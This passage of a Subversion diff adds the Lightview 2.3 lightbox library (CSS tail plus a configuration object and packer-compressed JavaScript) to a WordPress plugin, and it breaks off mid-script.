+.lv_Data .lv_Slideshow .lv_Button { /* play and stop */
+	float: left;
+	background-position: center left;
+	background-repeat: no-repeat;
+}
+
+/* the boxes that hold media or external content */
+.lv_Media,
+.lv_External {
+	position: relative;
+	float: left;
+	margin: 0;
+	padding: 0;
+}
+
+#lightview iframe {
+	border: 0;
+	clear: both;
+	padding: 0;
+	margin: 0;
+	background: none;
+}
+
+/* The container that hold buttons above the view, currently only topclose */
+.lv_topButtons {
+	position: absolute;
+	left: 0;
+	width: 100%;
+	overflow: hidden;
+	margin: 0;
+	padding: 0;
+}
+.lv_topcloseButtonImage { cursor: pointer; }
+
+
+/* The error/warning/download message that will appear when
+   a required plugin is not installed.
+*/
+#lightviewError p { padding: 0 0 10px 0; }
+#lightviewError div {
+	padding: 6px;
+	font: 11px Arial, Helvetica, sans-serif;
+}
+#lightviewError .message {
+	background: #fcb5b5;
+	color: #dd1f1f;
+	margin-bottom: 3px;
+}
+#lightviewError .type { font-weight: bold; }
+#lightviewError .pluginspage {
+	background: #b5fcbd;
+	color: #21be30;
+}
+#lightviewError a,
+#lightviewError a:hover,
+#lightviewError a:visited {
+	color: #21be30;
+	text-decoration: none;
+	background: none;
+	font-weight: bold;
+	border-bottom: 1px solid #7de689;
+}
+#lightviewError p {
+	margin-left: 0;
+	padding: 0;
+}
+
+#overlay {
+  position: absolute; /* Opera will use fixed */
+  top: 0;
+  left: 0;
+  height: 100%;
+  width: 100%;
+}
+
+* html #lightview { /* IE6 */
+	position: absolute;
+	margin-top: expression( (-1 * this.offsetHeight / 2 + (document.documentElement ? document.documentElement.scrollTop : 0) + (Lightview.navbarHeight || 0)) + 'px');
+	margin-left: expression( -1 * this.offsetWidth / 2 + (document.documentElement ? document.documentElement.scrollLeft : 0) + 'px');
+}
+
+/* Always cover 100% of the screen in IE6 */
+html #overlay {
+	position: absolute;
+	height: expression(((window.Enumerable && window.Enumerable.max) ? [document.body.scrollHeight, document.documentElement.scrollHeight, document.body.offsetHeight, document.documentElement.clientHeight].max() : document.documentElement.scrollHeight) + 'px' );
+	width: expression(((window.Enumerable && window.Enumerable.max) ? [document.body.scrollWidth, document.documentElement.scrollWidth, document.body.offsetWidth, document.documentElement.clientHeight].max() : document.documentElement.scrollWidth) + 'px' );
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/lightview/js/lightview.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/lightview/js/lightview.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/lightview/js/lightview.js	(revision 44)
@@ -0,0 +1,95 @@
+//  Lightview 2.3 - 18-06-2008
+//  Copyright (c) 2008 Nick Stakenburg (http://www.nickstakenburg.com)
+//
+//  Licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 Unported License
+//  http://creativecommons.org/licenses/by-nc-nd/3.0/
+
+//  More information on this project:
+//  http://www.nickstakenburg.com/projects/lightview/
+
+var Lightview = {
+  Version: '2.3',
+
+  // Configuration
+  options: {
+    backgroundColor: '#ffffff',                            // Background color of the view
+    border: 12,                                            // Size of the border
+    buttons: {
+      opacity: {                                           // Opacity of inner buttons
+        disabled: 0.4,
+        normal: 0.75,
+        hover: 1
+      },
+      side: { display: true },                             // show side buttons
+      innerPreviousNext: { display: true },                // show the inner previous and next button
+      slideshow: { display: true }                         // show slideshow button
+    },
+    cyclic: false,                                         // Makes galleries cyclic, no end/begin.
+    images: '../images/lightview/',                        // The directory of the images, relative to this file or an absolute url
+    imgNumberTemplate: 'Image #{position} of #{total}',    // Want a different language? change it here
+    keyboard: { enabled: true },                           // Enabled the keyboard buttons
+    overlay: {                                             // Overlay
+      background: '#000',                                  // Background color, Mac Firefox & Safari use overlay.png
+      close: true,                                         // Overlay click closes the view
+      opacity: 0.85,
+      display: true
+    },
+    preloadHover: true,                                    // Preload images on mouseover
+    radius: 12,                                            // Corner radius of the border
+    removeTitles: true,                                    // Set to false if you want to keep title attributes intact
+    resizeDuration: 0.9,                                   // When effects are used, the duration of resizing in seconds
+    slideshowDelay: 5,                                     // Seconds to wait before showing the next slide in slideshow
+    titleSplit: '::',                                      // The characters you want to split title with
+    transition: function(pos) {                            // Or your own transition
+      return ((pos/=0.5) < 1 ? 0.5 * Math.pow(pos, 4) :
+        -0.5 * ((pos-=2) * Math.pow(pos,3) - 2));
+    },
+    viewport: true,                                        // Stay within the viewport, true is recommended
+    zIndex: 5000,                                          // zIndex of #lightview, #overlay is this -1
+
+    // Optional
+    closeDimensions: {                                     // If you've changed the close button you can change these
+      large: { width: 85, height: 22 },                    // not required but it speeds things up.
+      small: { width: 32, height: 22 },
+      innertop: { width: 22, height: 22 },
+      topclose: { width: 22, height: 18 }                  // when topclose option is used
+    },
+    defaultOptions : {                                     // Default open dimensions for each type
+      ajax:   { width: 400, height: 300 },
+      iframe: { width: 400, height: 300, scrolling: true },
+      inline: { width: 400, height: 300 },
+      flash:  { width: 400, height: 300 },
+      quicktime: { width: 480, height: 220, autoplay: true, controls: true, topclose: true }
+    },
+    sideDimensions: { width: 16, height: 22 }              // see closeDimensions
+  },
+
+  classids: {
+    quicktime: 'clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B',
+    flash: 'clsid:D27CDB6E-AE6D-11cf-96B8-444553540000'
+  },
+  codebases: {
+    quicktime: 'http://www.apple.com/qtactivex/qtplugin.cab#version=7,3,0,0',
+    flash: 'http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,115,0'
+  },
+  errors: {
+    requiresPlugin: "<div class='message'>The content your are attempting to view requires the <span class='type'>#{type}</span> plugin.</div><div class='pluginspage'><p>Please download and install the required plugin from:</p><a href='#{pluginspage}' target='_blank'>#{pluginspage}</a></div>"
+  },
+  mimetypes: {
+    quicktime: 'video/quicktime',
+    flash: 'application/x-shockwave-flash'
+  },
+  pluginspages: {
+    quicktime: 'http://www.apple.com/quicktime/download',
+    flash: 'http://www.adobe.com/go/getflashplayer'
+  },
+  // used with auto detection
+  typeExtensions: {
+    flash: 'swf',
+    image: 'bmp gif jpeg jpg png',
+    iframe: 'asp aspx cgi cfm htm html jsp php pl php3 php4 php5 phtml rb rhtml shtml txt',
+    quicktime: 'avi mov mpg mpeg movie'
+  }
+};
+
+eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('1b.4w=(h(B){q A=m 4U("8P ([\\\\d.]+)").8e(B);z A?5B(A[1]):-1})(2N.59);10.1f(W.13,{2y:W.13.2w&&(1b.4w>=6&&1b.4w<7),2A:(W.13.3s&&!1g.4j)});10.1f(1b,{7l:"1.6.0.2",a2:"1.8.1",X:{1k:"51",3p:"Z"},6o:!!2N.59.3V(/6g/i),4F:!!2N.59.3V(/6g/i)&&(W.13.3s||W.13.2n),4A:h(A){f((8d 2a[A]=="81")||(9.4p(2a[A].7K)<9.4p(9["5G"+A]))){7E("1b 7B "+A+" >= "+9["5G"+A]);}},4p:h(A){q B=A.2u(/5y.*|\\./g,"");B=4b(B+"0".7g(4-B.1Y));z A.22("5y")>-1?B-1:B},74:h(){9.4A("W");f(!!2a.12&&!2a.6X){9.4A("6X")}f(9.k.1j.6K("://")){9.1j=9.k.1j}11{q A=/Z(?:-[\\w\\d.]+)?\\.9s(.*)/;9.1j=(($$("9m 9h[1y]").70(h(B){z B.1y.3V(A)})||{}).1y||"").2u(A,"")+9.k.1j}f(W.13.2w&&!1g.6p.v){1g.6p.6n("v","8N:8L-8I-8F:8D");1g.1a("4G:3L",h(){1g.8v().8r("v\\\\:*","8o: 3b(#66#8k);")})}},4x:h(){9.2K=9.k.2K;9.1c=(9.2K>9.k.1c)?9.2K:9.k.1c;9.1H=9.k.1H;9.1G=9.k.1G;9.5Y();9.5V();9.5T();9.1T()}});10.1f(1b,{5P:15,1T:h(){q A=4o.7J;A.4k++;f(A.4k==9.5P){$(1g.31).4h("Z:3L")}}});1b.1T.4k=0;10.1f(1b,{5Y:h(){9.Z=m y("Y",{2H:"Z"});q B,I,D=9.1R(9.1G);f(W.13.2A){9.Z.14=h(){9.r("1p:-3C;1h:-3C;1s:3j;");z 9};9.Z.19=h(){9.r("1s:2v");z 9};9.Z.2v=h(){z(9.1z("1s")=="2v"&&5B(9.1z("1h").2u("u",""))>-a9)}}$(1g.31).S(9.1I=m y("Y",{2H:"1I"}).r({46:9.k.46-1,1k:(!(W.13.2n||W.13.2y))?"5f":"43",2Q:9.4F?"3b("+9.1j+"1I.1K) 1h 1p 2W":9.k.1I.2Q}).1x((W.13.2n)?1:9.k.1I.1C).14()).S(9.Z.r({46:9.k.46,1h:"-3C",1p:"-3C"}).1x(0).S(9.6M=m y("Y",{V:"9C"}).S(9.41=m y("3m",{V:"9y"}).S(9.6A=m y("1M",{V:"9o"}).r(I=10.1f({1F:-1*9.1G.n+"u"},D)).S(9.3Z=m y("Y",{V:"57"}).r(10.1f({1F:9.1G.n+"u"},D)).S(m y("Y",{V:"23"})))).S(9.6Q=m y("1M",{V:"94"}).r(10.1f({6r:-1*9.1G.n+"u"},D)).S(9.3T=m y("Y",{V:"57"}).r(I).S(m y("Y",{V:"23"}))))).S(9.4O=m y("Y",{V:"8S"}).S(9.4g=m y("Y",{V:"57 8O"}).S(9.4L=m y("Y",{V:"23"})))).S(m y("3m",{V:"8M"}).S(m y("1M",{V:"6l 8K"}).S(B=m y("Y",{V:"8J"}).r({o:9.1c+"u"}).S(m y("3m",{V:"6h 8E"}).S(m y("1M",{V:"6f"}).S(m y("Y",{V:"3y"})).S(m y("Y",{V:"38"}).r({1p:9.1c+"u"})))).S(m y("Y",{V:"6e"})).S(m y("3m",{V:"6h 8C"}).S(m y("1M",{V:"6f"}).r("3c-1h: "+(-1*9.1c)+"u").S(m y("Y",{V:"3y"})).S(m y("Y",{V:"38"}).r("1p: "+(-1*9.1c)+"u")))))).S(9.3M=m y("1M",{V:"8z"}).r("o: "+(8y-9.1c)+"u").S(m y("Y",{V:"8u"}).S(m y("Y",{V:"6b"}).r("3c-1h: "+9.1c+"u").S(9.2x=m y("Y",{V:"8p"}).1x(0).r("3J: 0 "+9.1c+"u").S(9.2b=m y("Y",{V:"8m 38"})).S(9.1X=m y("Y",{V:"8l"}).S(9.2U=m y("Y",{V:"23 8j"}).r(9.1R(9.k.1H.3R)).r({2Q:9.k.18}).1x(9.k.1L.1C.2t)).S(9.3H=m y("3m",{V:"8a"}).S(9.4v=m y("1M",{V:"85"}).S(9.1w=m y("Y",{V:"82"})).S(9.1W=m y("Y",{V:"80"}))).S(9.3D=m y("1M",{V:"7Y"}).S(m y("Y"))).S(9.4r=m y("1M",{V:"7U"}).S(9.7S=m y("Y",{V:"23"}).1x(9.k.1L.1C.2t).r({18:9.k.18}).2i(9.1j+"7P.1K",{18:9.k.18})).S(9.7O=m y("Y",{V:"23"}).1x(9.k.1L.1C.2t).r({18:9.k.18}).2i(9.1j+"7N.1K",{18:9.k.18}))).S(9.2s=m y("1M",{V:"7L"}).S(9.2B=m y("Y",{V:"23"}).1x(9.k.1L.1C.2t).r({18:9.k.18}).2i(9.1j+"5J.1K",{18:9.k.18}))))).S(9.1O=m y("Y",{V:"7I"}))))).S(9.2V=m y("Y",{V:"7H"}).S(9.5F=m y("Y",{V:"23"}).r("2Q: 3b("+9.1j+"2V.4i) 1h 1p 3x-2W")))).S(m y("1M",{V:"6l 7D"}).S(B.7C(1P))).S(9.1J=m y("1M",{V:"7A"}).14().r("3c-1h: "+9.1c+"u; 2Q: 3b("+9.1j+"7z.4i) 1h 1p 2W"))))).S(m y("Y",{2H:"34"}).14());q H=m 2k();H.1u=h(){H.1u=W.28;9.1G={n:H.n,o:H.o};q K=9.1R(9.1G),C;9.41.r({1Q:0-(H.o/2).2p()+"u",o:H.o+"u"});9.6A.r(C=10.1f({1F:-1*9.1G.n+"u"},K));9.3Z.r(10.1f({1F:K.n},K));9.6Q.r(10.1f({6r:-1*9.1G.n+"u"},K));9.3T.r(C);9.1T()}.U(9);H.1y=9.1j+"2g.1K";$w("2x 1w 1W 3D").1d(h(C){9[C].r({18:9.k.18})}.U(9));q G=9.6M.33(".3y");$w("7k 7i 7h 5S").1d(h(K,C){f(9.2K>0){9.5W(G[C],K)}11{G[C].S(m y("Y",{V:"38"}))}G[C].r({n:9.1c+"u",o:9.1c+"u"}).7e("3y"+K.26());9.1T()}.U(9));9.Z.33(".6e",".38",".6b").40("r",{18:9.k.18});q E={};$w("2g 1i 2o").1d(h(K){9[K+"2C"].3q=K;q C=9.1j+K+".1K";f(K=="2o"){E[K]=m 2k();E[K].1u=h(){E[K].1u=W.28;9.1H[K]={n:E[K].n,o:E[K].o};q L=9.6o?"1p":"79",M=10.1f({"a8":L,1Q:9.1H[K].o+"u"},9.1R(9.1H[K]));M["3J"+L.26()]=9.1c+"u";9[K+"2C"].r(M);9.4O.r({o:E[K].o+"u",1h:-1*9.1H[K].o+"u"});9[K+"2C"].77().2i(C).r(9.1R(9.1H[K]));9.1T()}.U(9);E[K].1y=9.1j+K+".1K"}11{9[K+"2C"].2i(C)}}.U(9));q A={};$w("3R 4D 4C").1d(h(C){A[C]=m 2k();A[C].1u=h(){A[C].1u=W.28;9.1H[C]={n:A[C].n,o:A[C].o};9.1T()}.U(9);A[C].1y=9.1j+"6d"+C+".1K"}.U(9));q J=m 2k();J.1u=h(){J.1u=W.28;9.2V.r({n:J.n+"u",o:J.o+"u",1Q:-0.5*J.o+0.5*9.1c+"u",1F:-0.5*J.n+"u"});9.1T()}.U(9);J.1y=9.1j+"2V.4i";q F=m 2k();F.1u=h(C){F.1u=W.28;q K={n:F.n+"u",o:F.o+"u"};9.2s.r(K);9.2B.r(K);9.1T()}.U(9);F.1y=9.1j+"6Y.1K";$w("2g 1i").1d(h(L){q K=L.26(),C=m 2k();C.1u=h(){C.1u=W.28;9["2O"+K+"2P"].r({n:C.n+"u",o:C.o+"u"});9.1T()}.U(9);C.1y=9.1j+"9Y"+L+".1K";9["2O"+K+"2P"].1J=L}.U(9));9.1T()},6i:h(){12.2Y.2G("Z").1d(h(A){A.6S()});9.1v=1q;9.4P();9.1l=1q},4P:h(){f(!9.3i||!9.3l){z}9.3l.S({9G:9.3i.r({1N:9.3i.6J})});9.3l.24();9.3l=1q},19:h(B){9.1r=1q;f(10.6F(B)||10.6E(B)){9.1r=$(B);f(!9.1r){z}9.1r.9A();9.j=9.1r.1V}11{f(B.1e){9.1r=$(1g.31);9.j=m 1b.4X(B)}11{f(10.6y(B)){9.1r=9.4W(9.j.1o).4Z[B];9.j=9.1r.1V}}}f(!9.j.1e){z}9.6i();9.5k();9.6w();9.6v();9.3o();9.6L();f(9.j.1e!="#34"&&10.6H(1b.55).6U(" ").22(9.j.17)>=0){f(!1b.55[9.j.17]){$("34").1D(m 6t(9.97.95).4j({17:9.j.17.26(),5i:9.5d[9.j.17]}));q C=$("34").2D();9.19({1e:"#34",1w:9.j.17.26()+" 8Z 8Y",k:C});z 2q}}f(9.j.1A()){9.1l=9.j.1A()?9.4E(9.j.1o):[9.j]}q A=10.1f({1X:1P,2o:2q,4N:"8R",4M:9.j.1A()&&9.k.1L.4M.1N,2s:9.j.1A()&&9.k.1L.2s.1N},9.k.8Q[9.j.17]||{});9.j.k=10.1f(A,9.j.k);f(!(9.j.1w||9.j.1W||(9.1l&&9.1l.1Y>1))&&9.j.k.2o){9.j.k.1X=2q}f(9.j.2S()){f(9.j.1A()){9.1k=9.1l.22(9.j);9.6m()}9.1E=9.j.3Y;f(9.1E){9.3X()}11{9.4K();q D=m 2k();D.1u=h(){D.1u=W.28;9.3W();9.1E={n:D.n,o:D.o};9.3X()}.U(9);D.1y=9.j.1e}}11{9.1E=9.j.k.4J?1g.2R.2D():{n:9.j.k.n,o:9.j.k.o};9.3X()}},4I:h(){q D=9.6k(9.j.1e),A=9.1v||9.1E;f(9.j.2S()){q B=9.1R(A);9.2b.r(B).1D(m y("6j",{2H:"2e",1y:9.j.1e,8H:"",8G:"3x"}).r(B))}11{f(9.j.3G()){f(9.1v&&9.j.k.4J){A.o-=9.3f.o}3S(9.j.17){2l"3e":q F=10.3Q(9.j.k.3e)||{};q E=h(){9.3W();f(9.j.k.4H){9.1O.r({n:"3P",o:"3P"});9.1E=9.3z(9.1O)}m 12.1m({X:9.X,1t:9.3O.U(9)})}.U(9);f(F.3N){F.3N=F.3N.1U(h(N,M){E();N(M)})}11{F.3N=E}9.4K();m 8B.8A(9.1O,9.j.1e,F);29;2l"21":9.1O.1D(9.21=m y("21",{8x:0,8w:0,1y:9.j.1e,2H:"2e",1S:"8t"+(6c.8s()*8q).2p(),6a:(9.j.k&&9.j.k.6a)?"3P":"3x"}).r(10.1f({1c:0,3c:0,3J:0},9.1R(A))));29;2l"3K":q C=9.j.1e,H=$(C.69(C.22("#")+1));f(!H||!H.4B){z}q L=m y(9.j.k.8n||"Y"),G=H.1z("1s"),J=H.1z("1N");H.1U(L);H.r({1s:"3j"}).19();q I=9.3z(L);H.r({1s:G,1N:J});L.S({68:H}).24();H.S({68:9.3l=m y(H.4B)});H.6J=H.1z("1N");9.3i=H.19();9.1O.1D(9.3i);9.1O.33("33, 3a, 67").1d(h(M){9.3I.1d(h(N){f(N.1r==M){M.r({1s:N.1s})}})}.U(9));f(9.j.k.4H){9.1E=I;m 12.1m({X:9.X,1t:9.3O.U(9)})}29}}11{q K={1B:"3a",2H:"2e",n:A.n,o:A.o};3S(9.j.17){2l"2M":10.1f(K,{5i:9.5d[9.j.17],2L:[{1B:"1Z",1S:"65",2f:9.j.k.65},{1B:"1Z",1S:"64",2f:"8i"},{1B:"1Z",1S:"4z",2f:9.j.k.4y},{1B:"1Z",1S:"8h",2f:1P},{1B:"1Z",1S:"1y",2f:9.j.1e},{1B:"1Z",1S:"63",2f:9.j.k.63||2q}]});10.1f(K,W.13.2w?{8g:9.8f[9.j.17],8c:9.8b[9.j.17]}:{3H:9.j.1e,17:9.62[9.j.17]});29;2l"3k":10.1f(K,{3H:9.j.1e,17:9.62[9.j.17],89:"88",4N:9.j.k.4N,5i:9.5d[9.j.17],2L:[{1B:"1Z",1S:"87",2f:9.j.1e},{1B:"1Z",1S:"86",2f:"1P"}]});f(9.j.k.61){K.2L.2J({1B:"1Z",1S:"84",2f:9.j.k.61})}29}9.2b.r(9.1R(A)).19();9.2b.1D(9.4u(K));f(9.j.4t()&&$("2e")){(h(){3F{f("60"5Z $("2e")){$("2e").60(9.j.k.4y)}}3E(M){}}.U(9)).2X(0.4)}}}},3z:h(B){B=$(B);q A=B.7Z(),C=[],E=[];A.2J(B);A.1d(h(F){f(F!=B&&F.2v()){z}C.2J(F);E.2J({1N:F.1z("1N"),1k:F.1z("1k"),1s:F.1z("1s")});F.r({1N:"5X",1k:"43",1s:"2v"})});q D={n:B.7X,o:B.7W};C.1d(h(G,F){G.r(E[F])});z D},52:h(){q A=$("2e");f(A){3S(A.4B.56()){2l"3a":f(W.13.3s&&9.j.4t()){3F{A.5U()}3E(B){}A.7T=""}f(A.7R){A.24()}11{A=W.28}29;2l"21":A.24();f(W.13.2n){5b 2a.7Q.2e}29;66:A.24();29}}},5R:h(){q A=9.1v||9.1E;f(9.j.k.4y){3S(9.j.17){2l"2M":A.o+=16;29}}9[(9.1v?"6T":"i")+"5O"]=A},3X:h(){m 12.1m({X:9.X,1t:h(){9.3B()}.U(9)})},3B:h(){9.36();f(!9.j.5N()){9.3W()}f(!((9.j.k.4H&&9.j.7M())||9.j.5N())){9.3O()}f(!9.j.3A()){m 12.1m({X:9.X,1t:9.4I.U(9)})}},5M:h(){m 12.1m({X:9.X,1t:9.5L.U(9)});f(9.j.3A()){m 12.1m({2X:0.2,X:9.X,1t:9.4I.U(9)})}f(9.2Z){m 12.1m({X:9.X,1t:9.5K.U(9)})}},2m:h(){9.19(9.2r().2m)},1i:h(){9.19(9.2r().1i)},3O:h(){9.5R();q B=9.4n(),D=9.5I();f(9.k.2R&&(B.n>D.n||B.o>D.o)){f(!9.j.k.4J){q E=10.3Q(9.5H()),A=D,C=10.3Q(E);f(C.n>A.n){C.o*=A.n/C.n;C.n=A.n;f(C.o>A.o){C.n*=A.o/C.o;C.o=A.o}}11{f(C.o>A.o){C.n*=A.o/C.o;C.o=A.o;f(C.n>A.n){C.o*=A.n/C.n;C.n=A.n}}}q F=(C.n%1>0?C.o/E.o:C.o%1>0?C.n/E.n:1);9.1v={n:(9.1E.n*F).2p(),o:(9.1E.o*F).2p()};9.36();B={n:9.1v.n,o:9.1v.o+9.3f.o}}11{9.1v=D;9.36();B=D}}11{9.36();9.1v=1q}9.47(B)},47:h(B){q F=9.Z.2D(),I=2*9.1c,D=B.n+I,M=B.o+I;9.4l();q L=h(){9.3o();9.4e=1q;9.5M()};f(F.n==D&&F.o==M){L.U(9)();z}q C={n:D+"u",o:M+"u"};f(!W.13.2y){10.1f(C,{1F:0-D/2+"u",1Q:0-M/2+"u"})}q G=D-F.n,K=M-F.o,J=4b(9.Z.1z("1F").2u("u","")),E=4b(9.Z.1z("1Q").2u("u",""));f(!W.13.2y){q A=(0-D/2)-J,H=(0-M/2)-E}9.4e=m 12.7G(9.Z,0,1,{27:9.k.7F,X:9.X,5E:9.k.5E,1t:L.U(9)},h(Q){q N=(F.n+Q*G).32(0),P=(F.o+Q*K).32(0);f(W.13.2y){9.Z.r({n:(F.n+Q*G).32(0)+"u",o:(F.o+Q*K).32(0)+"u"});9.3M.r({o:P-1*9.1c+"u"})}11{f(W.13.2w){9.Z.r({1k:"5f",n:N+"u",o:P+"u",1F:((0-N)/2).2p()+"u",1Q:((0-P)/2).2p()+"u"});9.3M.r({o:P-1*9.1c+"u"})}11{q O=9.3v(),R=1g.2R.5D();9.Z.r({1k:"43",1F:0,1Q:0,n:N+"u",o:P+"u",1p:(R[0]+(O.n/2)-(N/2)).3d()+"u",1h:(R[1]+(O.o/2)-(P/2)).3d()+"u"});9.3M.r({o:P-1*9.1c+"u"})}}}.U(9))},5L:h(){m 12.1m({X:9.X,1t:y.19.U(9,9[9.j.3w()?"2b":"1O"])});m 12.1m({X:9.X,1t:9.4l.U(9)});m 12.5C([m 12.3u(9.2x,{3t:1P,2I:0,2F:1}),m 12.4f(9.41,{3t:1P})],{X:9.X,27:0.45,1t:h(){f(9.1r){9.1r.4h("Z:7y")}}.U(9)});f(9.j.1A()){m 12.1m({X:9.X,1t:9.5A.U(9)})}},6v:h(){f(!9.Z.2v()){z}m 12.5C([m 12.3u(9.41,{3t:1P,2I:1,2F:0}),m 12.3u(9.2x,{3t:1P,2I:1,2F:0})],{X:9.X,27:0.35});m 12.1m({X:9.X,1t:h(){9.52();9.2b.1D("").14();9.1O.1D("").14();9.4g.r({1Q:9.1H.2o.o+"u"})}.U(9)})},5z:h(){9.4v.14();9.1w.14();9.1W.14();9.3D.14();9.4r.14();9.2s.14()},36:h(){9.5z();f(!9.j.k.1X){9.3f={n:0,o:0};9.4d=0;9.1X.14();z 2q}11{9.1X.19()}9.1X[(9.j.3G()?"6n":"24")+"7x"]("7w");f(9.j.1w||9.j.1W){9.4v.19()}f(9.j.1w){9.1w.1D(9.j.1w).19()}f(9.j.1W){9.1W.1D(9.j.1W).19()}f(9.1l&&9.1l.1Y>1){9.3D.19().77().1D(m 6t(9.k.7v).4j({1k:9.1k+1,7u:9.1l.1Y}));f(9.j.k.2s){9.2B.19();9.2s.19()}}f(9.j.k.4M&&9.1l.1Y>1){q A={2g:(9.k.2j||9.1k!=0),1i:(9.k.2j||(9.j.1A()&&9.2r().1i!=0))};$w("2g 1i").1d(h(B){9["2O"+B.26()+"2P"].r({7t:(A[B]?"7s":"3P")}).1x(A[B]?9.k.1L.1C.2t:9.k.1L.1C.7r)}.U(9));9.4r.19()}9.5x();9.5w()},5x:h(){q E=9.1H.4D.n,D=9.1H.3R.n,G=9.1H.4C.n,A=9.1v?9.1v.n:9.1E.n,F=7q,C=0,B=9.k.7p;f(9.j.k.2o){B=1q}11{f(!9.j.3w()){B="4C";C=G}11{f(A>=F+E&&A<F+D){B="4D";C=E}11{f(A>=F+D){B="3R";C=D}}}}f(C>0){9.2U.r({n:C+"u"}).19()}11{9.2U.14()}f(B){9.2U.2i(9.1j+"6d"+B+".1K",{18:9.k.18})}9.4d=C},4K:h(){9.4m=m 12.4f(9.2V,{27:0.3,2I:0,2F:1,X:9.X})},3W:h(){f(9.4m){12.2Y.2G("Z").24(9.4m)}m 12.5v(9.2V,{27:1,X:9.X})},5u:h(){f(!9.j.2S()){z}q D=(9.k.2j||9.1k!=0),B=(9.k.2j||(9.j.1A()&&9.2r().1i!=0));9.3Z[D?"19":"14"]();9.3T[B?"19":"14"]();q C=9.1v||9.1E;9.1J.r({o:C.o+"u"});q A=((C.n/2-1)+9.1c).3d();f(D){9.1J.S(9.30=m y("Y",{V:"23 7o"}).r({n:A+"u"}));9.30.3q="2g"}f(B){9.1J.S(9.2E=m y("Y",{V:"23 7n"}).r({n:A+"u"}));9.2E.3q="1i"}f(D||B){9.1J.19()}},5A:h(){f(!9.k.1L.3q.1N||!9.j.2S()){z}9.5u();9.1J.19()},4l:h(){9.1J.1D("").14();9.3Z.14().r({1F:9.1G.n+"u"});9.3T.14().r({1F:-1*9.1G.n+"u"})},6L:h(){f(9.Z.1z("1C")!=0){z}q A=h(){f(!W.13.2A){9.Z.19()}9.Z.1x(1)}.U(9);f(9.k.1I.1N){m 12.4f(9.1I,{27:0.4,2I:0,2F:9.4F?1:9.k.1I.1C,X:9.X,7m:9.4c.U(9),1t:A})}11{A()}},14:h(){f(W.13.2w&&9.21&&9.j.3A()){9.21.24()}f(W.13.2A&&9.j.4t()){q A=$$("3a#2e")[0];f(A){3F{A.5U()}3E(B){}}}f(9.Z.1z("1C")==0){z}9.2z();9.1J.14();f(!W.13.2w||!9.j.3A()){9.2x.14()}f(12.2Y.2G("4q").7j.1Y>0){z}12.2Y.2G("Z").1d(h(C){C.6S()});m 12.1m({X:9.X,1t:9.4P.U(9)});m 12.3u(9.Z,{27:0.1,2I:1,2F:0,X:{1k:"51",3p:"4q"}});m 12.5v(9.1I,{27:0.4,X:{1k:"51",3p:"4q"},1t:9.5t.U(9)})},5t:h(){9.Z.14();9.2x.1x(0).19();9.1J.1D("").14();9.52();9.2b.1D("").14();9.1O.1D("").14();9.5k();9.5Q();f(9.1r){9.1r.4h("Z:3j")}9.1r=1q;9.1l=1q;9.j=1q;9.1v=1q},5w:h(){q B={},A=9[(9.1v?"6T":"i")+"5O"].n;9.1X.r({n:A+"u"});9.3H.r({n:A-9.4d-1+"u"});B=9.3z(9.1X);9.1X.r({n:"7V%"});9.3f=9.j.k.1X?B:{n:B.n,o:0}},3o:h(){q B=9.Z.2D();f(W.13.2y){9.Z.r({1h:"50%",1p:"50%"})}11{f(W.13.2A||W.13.2n){q A=9.3v(),C=1g.2R.5D();9.Z.r({1F:0,1Q:0,1p:(C[0]+(A.n/2)-(B.n/2)).3d()+"u",1h:(C[1]+(A.o/2)-(B.o/2)).3d()+"u"})}11{9.Z.r({1k:"5f",1p:"50%",1h:"50%",1F:(0-B.n/2).2p()+"u",1Q:(0-B.o/2).2p()+"u"})}}},5s:h(){9.2z();9.2Z=1P;9.1i.U(9).2X(0.25);9.2B.2i(9.1j+"6Y.1K",{18:9.k.18}).14()},2z:h(){f(9.2Z){9.2Z=2q}f(9.4s){7f(9.4s)}9.2B.2i(9.1j+"5J.1K",{18:9.k.18})},5r:h(){9[(9.2Z?"53":"4x")+"7d"]()},5K:h(){f(9.2Z){9.4s=9.1i.U(9).2X(9.k.83)}},5V:h(){9.4a=[];q A=$$("a[7c~=Z]");A.1d(h(B){B.5q();m 1b.4X(B);B.1a("2T",9.19.49(B).1U(h(E,D){D.53();E(D)}).1n(9));f(B.1V.2S()){f(9.k.7b){B.1a("2h",9.5p.U(9,B.1V))}q C=A.7a(h(D){z D.1o==B.1o});f(C[0].1Y){9.4a.2J({1o:B.1V.1o,4Z:C[0]});A=C[1]}}}.U(9))},4W:h(A){z 9.4a.70(h(B){z B.1o==A})},4E:h(A){z 9.4W(A).4Z.5o("1V")},5T:h(){$(1g.31).1a("2T",9.5n.1n(9));$w("2h 2c").1d(h(C){9.1J.1a(C,h(D){q E=D.5m("Y");f(!E){z}f(9.30&&9.30==E||9.2E&&9.2E==E){9.3U(D)}}.1n(9))}.U(9));9.1J.1a("2T",h(D){q E=D.5m("Y");f(!E){z}q C=(9.30&&9.30==E)?"2m":(9.2E&&9.2E==E)?"1i":1q;f(C){9[C].1U(h(G,F){9.2z();G(F)}).U(9)()}}.1n(9));$w("2g 1i").1d(h(F){q E=F.26(),C=h(H,G){9.2z();H(G)},D=h(I,H){q G=H.1r().1J;f((G=="2g"&&(9.k.2j||9.1k!=0))||(G=="1i"&&(9.k.2j||(9.j.1A()&&9.2r().1i!=0)))){I(H)}};9[F+"2C"].1a("2h",9.3U.1n(9)).1a("2c",9.3U.1n(9)).1a("2T",9[F=="1i"?F:"2m"].1U(C).1n(9));9["2O"+E+"2P"].1a("2T",9[F=="1i"?F:"2m"].1U(D).1n(9)).1a("2h",y.1x.49(9["2O"+E+"2P"],9.k.1L.1C.78).1U(D).1n(9)).1a("2c",y.1x.49(9["2O"+E+"2P"],9.k.1L.1C.2t).1U(D).1n(9))}.U(9));q 